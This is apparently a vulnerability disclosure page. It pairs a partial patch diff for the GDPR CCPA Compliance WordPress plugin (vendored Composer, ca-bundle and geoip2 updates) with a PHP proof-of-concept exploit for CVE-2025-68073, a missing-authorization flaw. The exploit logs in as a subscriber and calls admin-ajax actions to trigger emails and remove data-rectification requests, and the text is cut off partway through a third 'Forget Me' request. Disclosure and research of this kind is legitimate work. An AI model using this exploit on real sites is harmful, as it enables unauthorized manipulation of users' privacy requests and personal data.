-        spl_autoload_register(array('ComposerAutoloaderInit0c160756436047e15df45fcd32d450c4', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderIniteb34dfb1a10ebad79fa15e34727c96d7', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit0c160756436047e15df45fcd32d450c4', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderIniteb34dfb1a10ebad79fa15e34727c96d7', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit0c160756436047e15df45fcd32d450c4::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticIniteb34dfb1a10ebad79fa15e34727c96d7::getInitializer($loader));

         $loader->register(true);

--- a/ninja-gdpr-compliance/vendor/composer/autoload_static.php
+++ b/ninja-gdpr-compliance/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit0c160756436047e15df45fcd32d450c4
+class ComposerStaticIniteb34dfb1a10ebad79fa15e34727c96d7
 {
     public static $prefixLengthsPsr4 = array (
         'M' =>
@@ -53,9 +53,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit0c160756436047e15df45fcd32d450c4::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit0c160756436047e15df45fcd32d450c4::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit0c160756436047e15df45fcd32d450c4::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticIniteb34dfb1a10ebad79fa15e34727c96d7::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticIniteb34dfb1a10ebad79fa15e34727c96d7::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticIniteb34dfb1a10ebad79fa15e34727c96d7::$classMap;

         }, null, ClassLoader::class);
     }
--- a/ninja-gdpr-compliance/vendor/composer/ca-bundle/src/CaBundle.php
+++ b/ninja-gdpr-compliance/vendor/composer/ca-bundle/src/CaBundle.php
@@ -24,8 +24,6 @@
     private static $caPath;
     /** @var array<string, bool> */
     private static $caFileValidity = array();
-    /** @var bool|null */
-    private static $useOpensslParse;

     /**
      * Returns the system CA bundle path, or a path to the bundled one
@@ -64,7 +62,7 @@
      * @param  LoggerInterface $logger optional logger for information about which CA files were loaded
      * @return string          path to a CA bundle file or directory
      */
-    public static function getSystemCaRootBundlePath(LoggerInterface $logger = null)
+    public static function getSystemCaRootBundlePath(?LoggerInterface $logger = null)
     {
         if (self::$caPath !== null) {
             return self::$caPath;
@@ -83,26 +81,23 @@
         $caBundlePaths[] = ini_get('openssl.capath');

         $otherLocations = array(
-            '/etc/pki/tls/certs/ca-bundle.crt', // Fedora, RHEL, CentOS (ca-certificates package)
+            '/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem', // Fedora, RHEL, CentOS (ca-certificates package) - NEW
+            '/etc/pki/tls/certs/ca-bundle.crt', // Fedora, RHEL, CentOS (ca-certificates package) - Deprecated
             '/etc/ssl/certs/ca-certificates.crt', // Debian, Ubuntu, Gentoo, Arch Linux (ca-certificates package)
             '/etc/ssl/ca-bundle.pem', // SUSE, openSUSE (ca-certificates package)
-            '/usr/local/share/certs/ca-root-nss.crt', // FreeBSD (ca_root_nss_package)
             '/usr/ssl/certs/ca-bundle.crt', // Cygwin
             '/opt/local/share/curl/curl-ca-bundle.crt', // OS X macports, curl-ca-bundle package
             '/usr/local/share/curl/curl-ca-bundle.crt', // Default cURL CA bunde path (without --with-ca-bundle option)
             '/usr/share/ssl/certs/ca-bundle.crt', // Really old RedHat?
             '/etc/ssl/cert.pem', // OpenBSD
-            '/usr/local/etc/ssl/cert.pem', // FreeBSD 10.x
             '/usr/local/etc/openssl/cert.pem', // OS X homebrew, openssl package
             '/usr/local/etc/openssl@1.1/cert.pem', // OS X homebrew, openssl@1.1 package
             '/opt/homebrew/etc/openssl@3/cert.pem', // macOS silicon homebrew, openssl@3 package
             '/opt/homebrew/etc/openssl@1.1/cert.pem', // macOS silicon homebrew, openssl@1.1 package
+            '/etc/pki/tls/certs',
+            '/etc/ssl/certs', // FreeBSD
         );

-        foreach($otherLocations as $location) {
-            $otherLocations[] = dirname($location);
-        }
-
         $caBundlePaths = array_merge($caBundlePaths, $otherLocations);

         foreach ($caBundlePaths as $caBundle) {
@@ -160,7 +155,7 @@
      *
      * @return bool
      */
-    public static function validateCaFile($filename, LoggerInterface $logger = null)
+    public static function validateCaFile($filename, ?LoggerInterface $logger = null)
     {
         static $warned = false;

@@ -170,19 +165,7 @@

         $contents = file_get_contents($filename);

-        // assume the CA is valid if php is vulnerable to
-        // https://www.sektioneins.de/advisories/advisory-012013-php-openssl_x509_parse-memory-corruption-vulnerability.html
-        if (!static::isOpensslParseSafe()) {
-            if (!$warned && $logger) {
-                $logger->warning(sprintf(
-                    'Your version of PHP, %s, is affected by CVE-2013-6420 and cannot safely perform certificate validation, we strongly suggest you upgrade.',
-                    PHP_VERSION
-                ));
-                $warned = true;
-            }
-
-            $isValid = !empty($contents);
-        } elseif (is_string($contents) && strlen($contents) > 0) {
+        if (is_string($contents) && strlen($contents) > 0) {
             $contents = preg_replace("/^(\-+(?:BEGIN|END))\s+TRUSTED\s+(CERTIFICATE\-+)$/m", '$1 $2', $contents);
             if (null === $contents) {
                 // regex extraction failed
@@ -211,100 +194,7 @@
      */
     public static function isOpensslParseSafe()
     {
-        if (null !== self::$useOpensslParse) {
-            return self::$useOpensslParse;
-        }
-
-        if (PHP_VERSION_ID >= 50600) {
-            return self::$useOpensslParse = true;
-        }
-
-        // Vulnerable:
-        // PHP 5.3.0 - PHP 5.3.27
-        // PHP 5.4.0 - PHP 5.4.22
-        // PHP 5.5.0 - PHP 5.5.6
-        if (
-               (PHP_VERSION_ID < 50400 && PHP_VERSION_ID >= 50328)
-            || (PHP_VERSION_ID < 50500 && PHP_VERSION_ID >= 50423)
-            || PHP_VERSION_ID >= 50507
-        ) {
-            // This version of PHP has the fix for CVE-2013-6420 applied.
-            return self::$useOpensslParse = true;
-        }
-
-        if (defined('PHP_WINDOWS_VERSION_BUILD')) {
-            // Windows is probably insecure in this case.
-            return self::$useOpensslParse = false;
-        }
-
-        $compareDistroVersionPrefix = function ($prefix, $fixedVersion) {
-            $regex = '{^'.preg_quote($prefix).'([0-9]+)$}';
-
-            if (preg_match($regex, PHP_VERSION, $m)) {
-                return ((int) $m[1]) >= $fixedVersion;
-            }
-
-            return false;
-        };
-
-        // Hard coded list of PHP distributions with the fix backported.
-        if (
-            $compareDistroVersionPrefix('5.3.3-7+squeeze', 18) // Debian 6 (Squeeze)
-            || $compareDistroVersionPrefix('5.4.4-14+deb7u', 7) // Debian 7 (Wheezy)
-            || $compareDistroVersionPrefix('5.3.10-1ubuntu3.', 9) // Ubuntu 12.04 (Precise)
-        ) {
-            return self::$useOpensslParse = true;
-        }
-
-        // Symfony Process component is missing so we assume it is unsafe at this point
-        if (!class_exists('SymfonyComponentProcessPhpProcess')) {
-            return self::$useOpensslParse = false;
-        }
-
-        // This is where things get crazy, because distros backport security
-        // fixes the chances are on NIX systems the fix has been applied but
-        // it's not possible to verify that from the PHP version.
-        //
-        // To verify exec a new PHP process and run the issue testcase with
-        // known safe input that replicates the bug.
-
-        // Based on testcase in https://github.com/php/php-src/commit/c1224573c773b6845e83505f717fbf820fc18415
-        // changes in https://github.com/php/php-src/commit/76a7fd893b7d6101300cc656058704a73254d593
-        $cert = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVwRENDQTR5Z0F3SUJBZ0lKQUp6dThyNnU2ZUJjTUEwR0NTcUdTSWIzRFFFQkJRVUFNSUhETVFzd0NRWUQKVlFRR0V3SkVSVEVjTUJvR0ExVUVDQXdUVG05eVpISm9aV2x1TFZkbGMzUm1ZV3hsYmpFUU1BNEdBMVVFQnd3SApTOE9Ed3Jac2JqRVVNQklHQTFVRUNnd0xVMlZyZEdsdmJrVnBibk14SHpBZEJnTlZCQXNNRmsxaGJHbGphVzkxCmN5QkRaWEowSUZObFkzUnBiMjR4SVRBZkJnTlZCQU1NR0cxaGJHbGphVzkxY3k1elpXdDBhVzl1WldsdWN5NWsKWlRFcU1DZ0dDU3FHU0liM0RRRUpBUlliYzNSbFptRnVMbVZ6YzJWeVFITmxhM1JwYjI1bGFXNXpMbVJsTUhVWQpaREU1TnpBd01UQXhNREF3TURBd1dnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEKQUFBQUFBQVhEVEUwTVRFeU9ERXhNemt6TlZvd2djTXhDekFKQmdOVkJBWVRBa1JGTVJ3d0dnWURWUVFJREJOTwpiM0prY21obGFXNHRWMlZ6ZEdaaGJHVnVNUkF3RGdZRFZRUUhEQWRMdzRQQ3RteHVNUlF3RWdZRFZRUUtEQXRUClpXdDBhVzl1UldsdWN6RWZNQjBHQTFVRUN3d1dUV0ZzYVdOcGIzVnpJRU5sY25RZ1UyVmpkR2x2YmpFaE1COEcKQTFVRUF3d1liV0ZzYVdOcGIzVnpMbk5sYTNScGIyNWxhVzV6TG1SbE1Tb3dLQVlKS29aSWh2Y05BUWtCRmh0egpkR1ZtWVc0dVpYTnpaWEpBYzJWcmRHbHZibVZwYm5NdVpHVXdnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCCkR3QXdnZ0VLQW9JQkFRRERBZjNobDdKWTBYY0ZuaXlFSnBTU0RxbjBPcUJyNlFQNjV1c0pQUnQvOFBhRG9xQnUKd0VZVC9OYSs2ZnNnUGpDMHVLOURaZ1dnMnRIV1dvYW5TYmxBTW96NVBINlorUzRTSFJaN2UyZERJalBqZGhqaAowbUxnMlVNTzV5cDBWNzk3R2dzOWxOdDZKUmZIODFNTjJvYlhXczROdHp0TE11RDZlZ3FwcjhkRGJyMzRhT3M4CnBrZHVpNVVhd1Raa3N5NXBMUEhxNWNNaEZHbTA2djY1Q0xvMFYyUGQ5K0tBb2tQclBjTjVLTEtlYno3bUxwazYKU01lRVhPS1A0aWRFcXh5UTdPN2ZCdUhNZWRzUWh1K3ByWTNzaTNCVXlLZlF0UDVDWm5YMmJwMHdLSHhYMTJEWAoxbmZGSXQ5RGJHdkhUY3lPdU4rblpMUEJtM3ZXeG50eUlJdlZBZ01CQUFHalFqQkFNQWtHQTFVZEV3UUNNQUF3CkVRWUpZSVpJQVliNFFnRUJCQVFEQWdlQU1Bc0dBMVVkRHdRRUF3SUZvREFUQmdOVkhTVUVEREFLQmdnckJnRUYKQlFjREFqQU5CZ2txaGtpRzl3MEJBUVVGQUFPQ0FRRUFHMGZaWVlDVGJkajFYWWMrMVNub2FQUit2SThDOENhRAo4KzBVWWhkbnlVNGdnYTBCQWNEclk5ZTk0ZUVBdTZacXljRjZGakxxWFhkQWJvcHBXb2NyNlQ2R0QxeDMzQ2tsClZBcnpHL0t4UW9oR0QySmVxa2hJTWxEb214SE83a2EzOStPYThpMnZXTFZ5alU4QVp2V01BcnVIYTRFRU55RzcKbFcyQWFnYUZLRkNyOVRuWFRmcmR4R1ZFYnY3S1ZRNmJkaGc1cDVTanBXSDErTXEwM3VSM1pYUEJZZHlWODMxOQpvMGxWajFLRkkyRENML2xpV2lzSlJvb2YrMWNSMzVDdGQwd1lCY3BCNlRac2xNY09QbDc2ZHdLd0pnZUpvMlFnClpzZm1jMnZDMS9xT2xOdU5xLzBUenprVkd2OEVUVDNDZ2FVK1VYZTRYT1Z2a2NjZWJKbjJkZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K';
-        $script = <<<'EOT'
-
-error_reporting(-1);
-$info = openssl_x509_parse(base64_decode('%s'));
-var_dump(PHP_VERSION, $info['issuer']['emailAddress'], $info['validFrom_time_t']);
-
-EOT;
-        $script = '<'."?phpn".sprintf($script, $cert);
-
-        try {
-            $process = new PhpProcess($script);
-            $process->mustRun();
-        } catch (Exception $e) {
-            // In the case of any exceptions just accept it is not possible to
-            // determine the safety of openssl_x509_parse and bail out.
-            return self::$useOpensslParse = false;
-        }
-
-        $output = preg_split('{r?n}', trim($process->getOutput()));
-        $errorOutput = trim($process->getErrorOutput());
-
-        if (
-            is_array($output)
-            && count($output) === 3
-            && $output[0] === sprintf('string(%d) "%s"', strlen(PHP_VERSION), PHP_VERSION)
-            && $output[1] === 'string(27) "stefan.esser@sektioneins.de"'
-            && $output[2] === 'int(-1)'
-            && preg_match('{openssl_x509_parse(): illegal (?:ASN1 data type for|length in) timestamp in - on line d+}', $errorOutput)
-        ) {
-            // This PHP has the fix backported probably by a distro security team.
-            return self::$useOpensslParse = true;
-        }
-
-        return self::$useOpensslParse = false;
+        return true;
     }

     /**
@@ -315,7 +205,6 @@
     {
         self::$caFileValidity = array();
         self::$caPath = null;
-        self::$useOpensslParse = null;
     }

     /**
@@ -340,12 +229,12 @@
      * @param  LoggerInterface|null $logger
      * @return bool
      */
-    private static function caFileUsable($certFile, LoggerInterface $logger = null)
+    private static function caFileUsable($certFile, ?LoggerInterface $logger = null)
     {
         return $certFile
-            && static::isFile($certFile, $logger)
-            && static::isReadable($certFile, $logger)
-            && static::validateCaFile($certFile, $logger);
+            && self::isFile($certFile, $logger)
+            && self::isReadable($certFile, $logger)
+            && self::validateCaFile($certFile, $logger);
     }

     /**
@@ -353,12 +242,12 @@
      * @param  LoggerInterface|null $logger
      * @return bool
      */
-    private static function caDirUsable($certDir, LoggerInterface $logger = null)
+    private static function caDirUsable($certDir, ?LoggerInterface $logger = null)
     {
         return $certDir
-            && static::isDir($certDir, $logger)
-            && static::isReadable($certDir, $logger)
-            && static::glob($certDir . '/*', $logger);
+            && self::isDir($certDir, $logger)
+            && self::isReadable($certDir, $logger)
+            && self::glob($certDir . '/*', $logger);
     }

     /**
@@ -366,7 +255,7 @@
      * @param  LoggerInterface|null $logger
      * @return bool
      */
-    private static function isFile($certFile, LoggerInterface $logger = null)
+    private static function isFile($certFile, ?LoggerInterface $logger = null)
     {
         $isFile = @is_file($certFile);
         if (!$isFile && $logger) {
@@ -381,7 +270,7 @@
      * @param  LoggerInterface|null $logger
      * @return bool
      */
-    private static function isDir($certDir, LoggerInterface $logger = null)
+    private static function isDir($certDir, ?LoggerInterface $logger = null)
     {
         $isDir = @is_dir($certDir);
         if (!$isDir && $logger) {
@@ -396,7 +285,7 @@
      * @param  LoggerInterface|null $logger
      * @return bool
      */
-    private static function isReadable($certFileOrDir, LoggerInterface $logger = null)
+    private static function isReadable($certFileOrDir, ?LoggerInterface $logger = null)
     {
         $isReadable = @is_readable($certFileOrDir);
         if (!$isReadable && $logger) {
@@ -411,7 +300,7 @@
      * @param  LoggerInterface|null $logger
      * @return bool
      */
-    private static function glob($pattern, LoggerInterface $logger = null)
+    private static function glob($pattern, ?LoggerInterface $logger = null)
     {
         $certs = glob($pattern);
         if ($certs === false) {
--- a/ninja-gdpr-compliance/vendor/composer/installed.php
+++ b/ninja-gdpr-compliance/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'thang.nta/nta-gdpr',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'd4ebf36830b395b0a5743124a5875ac648285001',
+        'reference' => '9a0907bcbf8139096dad98969d265f07223a212d',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,36 +11,36 @@
     ),
     'versions' => array(
         'composer/ca-bundle' => array(
-            'pretty_version' => '1.4.7',
-            'version' => '1.4.7.0',
-            'reference' => '9b8b487385d1a5140ad6765b9e9131fc3de3b891',
+            'pretty_version' => '1.5.10',
+            'version' => '1.5.10.0',
+            'reference' => '961a5e4056dd2e4a2eedcac7576075947c28bf63',
             'type' => 'library',
             'install_path' => __DIR__ . '/./ca-bundle',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'geoip2/geoip2' => array(
-            'pretty_version' => 'v2.10.0',
-            'version' => '2.10.0.0',
-            'reference' => '419557cd21d9fe039721a83490701a58c8ce784a',
+            'pretty_version' => 'v2.13.0',
+            'version' => '2.13.0.0',
+            'reference' => '6a41d8fbd6b90052bc34dff3b4252d0f88067b23',
             'type' => 'library',
             'install_path' => __DIR__ . '/../geoip2/geoip2',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'maxmind-db/reader' => array(
-            'pretty_version' => 'v1.6.0',
-            'version' => '1.6.0.0',
-            'reference' => 'febd4920bf17c1da84cef58e56a8227dfb37fbe4',
+            'pretty_version' => 'v1.13.1',
+            'version' => '1.13.1.0',
+            'reference' => '2194f58d0f024ce923e685cdf92af3daf9951908',
             'type' => 'library',
             'install_path' => __DIR__ . '/../maxmind-db/reader',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'maxmind/web-service-common' => array(
-            'pretty_version' => 'v0.7.0',
-            'version' => '0.7.0.0',
-            'reference' => '74c996c218ada5c639c8c2f076756e059f5552fc',
+            'pretty_version' => 'v0.9.0',
+            'version' => '0.9.0.0',
+            'reference' => '4dc5a3e8df38aea4ca3b1096cee3a038094e9b53',
             'type' => 'library',
             'install_path' => __DIR__ . '/../maxmind/web-service-common',
             'aliases' => array(),
@@ -49,7 +49,7 @@
         'thang.nta/nta-gdpr' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'd4ebf36830b395b0a5743124a5875ac648285001',
+            'reference' => '9a0907bcbf8139096dad98969d265f07223a212d',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/ninja-gdpr-compliance/vendor/composer/platform_check.php
+++ b/ninja-gdpr-compliance/vendor/composer/platform_check.php
@@ -4,8 +4,8 @@

 $issues = array();

-if (!(PHP_VERSION_ID >= 50600)) {
-    $issues[] = 'Your Composer dependencies require a PHP version ">= 5.6.0". You are running ' . PHP_VERSION . '.';
+if (!(PHP_VERSION_ID >= 70200)) {
+    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.0". You are running ' . PHP_VERSION . '.';
 }

 if ($issues) {
--- a/ninja-gdpr-compliance/vendor/geoip2/geoip2/examples/benchmark.php
+++ b/ninja-gdpr-compliance/vendor/geoip2/geoip2/examples/benchmark.php
@@ -10,7 +10,8 @@
 $count = 500000;
 $startTime = microtime(true);
 for ($i = 0; $i < $count; ++$i) {
-    $ip = long2ip(rand(0, pow(2, 32) - 1));
+    $ip = long2ip(rand(0, 2 ** 32 - 1));
+
     try {
         $t = $reader->city($ip);
     } catch (GeoIp2ExceptionAddressNotFoundException $e) {
--- a/ninja-gdpr-compliance/vendor/geoip2/geoip2/src/Database/Reader.php
+++ b/ninja-gdpr-compliance/vendor/geoip2/geoip2/src/Database/Reader.php
@@ -1,8 +1,19 @@
 <?php

+declare(strict_types=1);
+
 namespace GeoIp2Database;

 use GeoIp2ExceptionAddressNotFoundException;
+use GeoIp2ModelAbstractModel;
+use GeoIp2ModelAnonymousIp;
+use GeoIp2ModelAsn;
+use GeoIp2ModelCity;
+use GeoIp2ModelConnectionType;
+use GeoIp2ModelCountry;
+use GeoIp2ModelDomain;
+use GeoIp2ModelEnterprise;
+use GeoIp2ModelIsp;
 use GeoIp2ProviderInterface;
 use MaxMindDbReader as DbReader;
 use MaxMindDbReaderInvalidDatabaseException;
@@ -33,8 +44,19 @@
  */
 class Reader implements ProviderInterface
 {
+    /**
+     * @var DbReader
+     */
     private $dbReader;
+
+    /**
+     * @var string
+     */
     private $dbType;
+
+    /**
+     * @var array<string>
+     */
     private $locales;

     /**
@@ -48,8 +70,8 @@
      *                                                     is corrupt or invalid
      */
     public function __construct(
-        $filename,
-        $locales = ['en']
+        string $filename,
+        array $locales = ['en']
     ) {
         $this->dbReader = new DbReader($filename);
         $this->dbType = $this->dbReader->metadata()->databaseType;
@@ -65,12 +87,11 @@
      *                                                     not in the database
      * @throws MaxMindDbReaderInvalidDatabaseException if the database
      *                                                     is corrupt or invalid
-     *
-     * @return GeoIp2ModelCity
      */
-    public function city($ipAddress)
+    public function city(string $ipAddress): City
     {
-        return $this->modelFor('City', 'City', $ipAddress);
+        // @phpstan-ignore-next-line
+        return $this->modelFor(City::class, 'City', $ipAddress);
     }

     /**
@@ -82,12 +103,11 @@
      *                                                     not in the database
      * @throws MaxMindDbReaderInvalidDatabaseException if the database
      *                                                     is corrupt or invalid
-     *
-     * @return GeoIp2ModelCountry
      */
-    public function country($ipAddress)
+    public function country(string $ipAddress): Country
     {
-        return $this->modelFor('Country', 'Country', $ipAddress);
+        // @phpstan-ignore-next-line
+        return $this->modelFor(Country::class, 'Country', $ipAddress);
     }

     /**
@@ -99,13 +119,12 @@
      *                                                     not in the database
      * @throws MaxMindDbReaderInvalidDatabaseException if the database
      *                                                     is corrupt or invalid
-     *
-     * @return GeoIp2ModelAnonymousIp
      */
-    public function anonymousIp($ipAddress)
+    public function anonymousIp(string $ipAddress): AnonymousIp
     {
+        // @phpstan-ignore-next-line
         return $this->flatModelFor(
-            'AnonymousIp',
+            AnonymousIp::class,
             'GeoIP2-Anonymous-IP',
             $ipAddress
         );
@@ -120,13 +139,12 @@
      *                                                     not in the database
      * @throws MaxMindDbReaderInvalidDatabaseException if the database
      *                                                     is corrupt or invalid
-     *
-     * @return GeoIp2ModelAsn
      */
-    public function asn($ipAddress)
+    public function asn(string $ipAddress): Asn
     {
+        // @phpstan-ignore-next-line
         return $this->flatModelFor(
-            'Asn',
+            Asn::class,
             'GeoLite2-ASN',
             $ipAddress
         );
@@ -141,13 +159,12 @@
      *                                                     not in the database
      * @throws MaxMindDbReaderInvalidDatabaseException if the database
      *                                                     is corrupt or invalid
-     *
-     * @return GeoIp2ModelConnectionType
      */
-    public function connectionType($ipAddress)
+    public function connectionType(string $ipAddress): ConnectionType
     {
+        // @phpstan-ignore-next-line
         return $this->flatModelFor(
-            'ConnectionType',
+            ConnectionType::class,
             'GeoIP2-Connection-Type',
             $ipAddress
         );
@@ -162,13 +179,12 @@
      *                                                     not in the database
      * @throws MaxMindDbReaderInvalidDatabaseException if the database
      *                                                     is corrupt or invalid
-     *
-     * @return GeoIp2ModelDomain
      */
-    public function domain($ipAddress)
+    public function domain(string $ipAddress): Domain
     {
+        // @phpstan-ignore-next-line
         return $this->flatModelFor(
-            'Domain',
+            Domain::class,
             'GeoIP2-Domain',
             $ipAddress
         );
@@ -183,12 +199,11 @@
      *                                                     not in the database
      * @throws MaxMindDbReaderInvalidDatabaseException if the database
      *                                                     is corrupt or invalid
-     *
-     * @return GeoIp2ModelEnterprise
      */
-    public function enterprise($ipAddress)
+    public function enterprise(string $ipAddress): Enterprise
     {
-        return $this->modelFor('Enterprise', 'Enterprise', $ipAddress);
+        // @phpstan-ignore-next-line
+        return $this->modelFor(Enterprise::class, 'Enterprise', $ipAddress);
     }

     /**
@@ -200,50 +215,47 @@
      *                                                     not in the database
      * @throws MaxMindDbReaderInvalidDatabaseException if the database
      *                                                     is corrupt or invalid
-     *
-     * @return GeoIp2ModelIsp
      */
-    public function isp($ipAddress)
+    public function isp(string $ipAddress): Isp
     {
+        // @phpstan-ignore-next-line
         return $this->flatModelFor(
-            'Isp',
+            Isp::class,
             'GeoIP2-ISP',
             $ipAddress
         );
     }

-    private function modelFor($class, $type, $ipAddress)
+    private function modelFor(string $class, string $type, string $ipAddress): AbstractModel
     {
-        list($record, $prefixLen) = $this->getRecord($class, $type, $ipAddress);
+        [$record, $prefixLen] = $this->getRecord($class, $type, $ipAddress);

         $record['traits']['ip_address'] = $ipAddress;
         $record['traits']['prefix_len'] = $prefixLen;

-        $class = 'GeoIp2\Model\' . $class;
-
         return new $class($record, $this->locales);
     }

-    private function flatModelFor($class, $type, $ipAddress)
+    private function flatModelFor(string $class, string $type, string $ipAddress): AbstractModel
     {
-        list($record, $prefixLen) = $this->getRecord($class, $type, $ipAddress);
+        [$record, $prefixLen] = $this->getRecord($class, $type, $ipAddress);

         $record['ip_address'] = $ipAddress;
         $record['prefix_len'] = $prefixLen;
-        $class = 'GeoIp2\Model\' . $class;

         return new $class($record);
     }

-    private function getRecord($class, $type, $ipAddress)
+    private function getRecord(string $class, string $type, string $ipAddress): array
     {
         if (strpos($this->dbType, $type) === false) {
-            $method = lcfirst($class);
+            $method = lcfirst((new ReflectionClass($class))->getShortName());
+
             throw new BadMethodCallException(
                 "The $method method cannot be used to open a {$this->dbType} database"
             );
         }
-        list($record, $prefixLen) = $this->dbReader->getWithPrefixLen($ipAddress);
+        [$record, $prefixLen] = $this->dbReader->getWithPrefixLen($ipAddress);
         if ($record === null) {
             throw new AddressNotFoundException(
                 "The address $ipAddress is not in the database."
@@ -272,7 +284,7 @@
      *
      * @return MaxMindDbReaderMetadata object for the database
      */
-    public function metadata()
+    public function metadata(): DbReaderMetadata
     {
         return $this->dbReader->metadata();
     }
@@ -280,7 +292,7 @@
     /**
      * Closes the GeoIP2 database and returns the resources to the system.
      */
-    public function close()
+    public function close(): void
     {
         $this->dbReader->close();
     }
--- a/ninja-gdpr-compliance/vendor/geoip2/geoip2/src/Exception/AddressNotFoundException.php
+++ b/ninja-gdpr-compliance/vendor/geoip2/geoip2/src/Exception/AddressNotFoundException.php
@@ -1,5 +1,7 @@
 <?php

+declare(strict_types=1);
+
 namespace GeoIp2Exception;

 /**
--- a/ninja-gdpr-compliance/vendor/geoip2/geoip2/src/Exception/AuthenticationException.php
+++ b/ninja-gdpr-compliance/vendor/geoip2/geoip2/src/Exception/AuthenticationException.php
@@ -1,5 +1,7 @@
 <?php

+declare(strict_types=1);
+
 namespace GeoIp2Exception;

 /**
--- a/ninja-gdpr-compliance/vendor/geoip2/geoip2/src/Exception/GeoIp2Exception.php
+++ b/ninja-gdpr-compliance/vendor/geoip2/geoip2/src/Exception/GeoIp2Exception.php
@@ -1,5 +1,7 @@
 <?php

+declare(strict_types=1);
+
 namespace GeoIp2Exception;

 /**
--- a/ninja-gdpr-complia

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68073 - GDPR CCPA Compliance Support <= 2.7.4 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-68073
 * Requires: WordPress installation with GDPR CCPA Compliance plugin <= 2.7.4
 *           Valid subscriber-level credentials
 *           Valid nonce from plugin page
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$nonce = 'valid_nonce_here'; // Obtain from plugin page source

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Step 2: Exploit missing authorization in Data Access request action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'njt_gdpr_dataaccess_request_action',
    'nonce' => $nonce,
    'request_action' => 'send-email',
    'ids' => array(1, 2, 3) // Target request IDs
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$response = curl_exec($ch);

// Step 3: Check if exploitation succeeded
if (strpos($response, '"success":true') !== false) {
    echo "[+] Successfully exploited CVE-2025-68073n";
    echo "[+] Response: " . $response . "n";
} else {
    echo "[-] Exploitation failedn";
    echo "[-] Response: " . $response . "n";
}

// Step 4: Additional exploitation vectors
// Data Rectification endpoint
$exploit_data2 = array(
    'action' => 'njt_gdpr_data_rectification_request_action',
    'nonce' => $nonce,
    'request_action' => 'remove',
    'ids' => array(1)
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data2));
$response2 = curl_exec($ch);

// Forget Me endpoint
$exploit_data3 = array(
